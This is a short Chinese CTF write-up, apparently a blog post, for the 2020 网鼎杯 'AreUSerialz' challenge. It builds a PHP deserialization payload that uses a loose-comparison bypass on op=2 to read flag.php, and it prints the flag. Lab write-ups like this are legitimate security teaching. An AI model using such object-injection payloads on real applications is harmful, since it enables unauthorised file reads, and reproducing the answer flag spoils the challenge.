[网鼎杯 2020 青龙组]AreUSerialz 1

[网鼎杯 2020 青龙组]AreUSerialz 1

打开实例,发现这题为代码审计,查看代码后,确认为GET传递str参数反序列化绕过

image-20241112214049722

查看is_valid()方法,发现str参数传递的任意字符的ASCII码需要在32--125之间

image-20241112214542347

直接构造payload

<?php
class FileHandler
{
    public $op = 2;
    public $filename = 'flag.php';
    public $content = '';

}
$aaa = new FileHandler();
$res = serialize(@$aaa);
echo $res;

执行序列化

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

image-20241112220821672

这边这个op采用数值2是因为需要同时绕过='2'和'2'

image-20241112221010818

image-20241112221030534

,这样一来他既不满足字符串2的绝对等于,又能满足字符串2的模糊等于

执行成功

image-20241112221218856

查看源代码,拿到flag

image-20241112221252921

flag{3953b0d7-7bb3-4624-91ff-54edadfb81a9}
posted @ 2024-11-12 22:14  TazmiDev  阅读(263)  评论(0)    收藏  举报